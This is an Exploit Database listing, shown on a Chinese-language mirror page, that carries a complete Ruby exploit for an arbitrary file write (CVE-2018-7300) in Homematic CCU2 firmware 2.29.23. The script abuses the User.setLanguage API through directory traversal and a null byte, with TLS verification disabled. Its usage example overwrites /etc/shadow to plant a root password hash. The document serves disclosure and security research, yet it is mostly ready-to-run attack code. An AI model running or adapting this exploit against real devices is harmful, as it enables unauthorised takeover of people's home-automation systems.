Homematic CCU2 2.29.23 – Arbitrary File Write

• Exploit Database
• 22 阅读

• 作者： Patrick Muench and Gregor Kopf
  日期： 2018-03-30
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/44361/

• #!/usr/bin/ruby
  
  # Exploit Title: Homematic CCU2 Arbitrary File Write
  # Date: 28-03-18
  # Exploit Author: Patrick Muench, Gregor Kopf
  # Vendor Homepage: http://www.eq-3.de
  # Software Link: http://www.eq-3.de/service/downloads.html?id=268
  # Version: 2.29.23
  # CVE : 2018-7300
  
  # Description: http://atomic111.github.io/article/homematic-ccu2-filewrite
  
  require 'net/http'
  require 'net/https'
  require 'uri'
  require 'json'
  
  unless ARGV.length == 3
  STDOUT.puts <<-EOF
  Please provide url
  
  Usage:
  write_files.rb <ip.adress> <file path> <content of the file>
  
  Example:
  write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
  
  or
  
  write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
  
  EOF
  exit
  end
  
  # The first argument specifiee the URL and if http or https is used
  url = ARGV[0] + "/api/homematic.cgi"
  
  # The second argument specifies the file into which the content should be written
  homematic_file_path = ARGV[1]
  
  # The third argument specifies the content of the file
  homematic_file_content = ARGV[2]
  
  # define the json body for the attack
  body = {
  "version": "1.1",
  "method": "User.setLanguage",
  "params": {
  "userName": "file path",
  "userLang": "file content"
  }
  }.to_hash
  
  # define the traversal with the file you want to write
  body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"
  
  # define the content
  body[:params][:userLang] = homematic_file_content
  
  # split the uri to access it in a easier way
  uri = URI.parse(url)
  
  # define target connection, disabling certificate verification
  Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|
  
  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)
  
  # define the content type of the http request
  request.content_type = 'application/json'
  
  # define the request body
  request.body = body.to_json
  
  # send the request to the homematic ccu2
  response = http.request(request)
  
  # print response message code and status to cli
  puts 'Response code: ' + response.code + ' ' + response.message
  end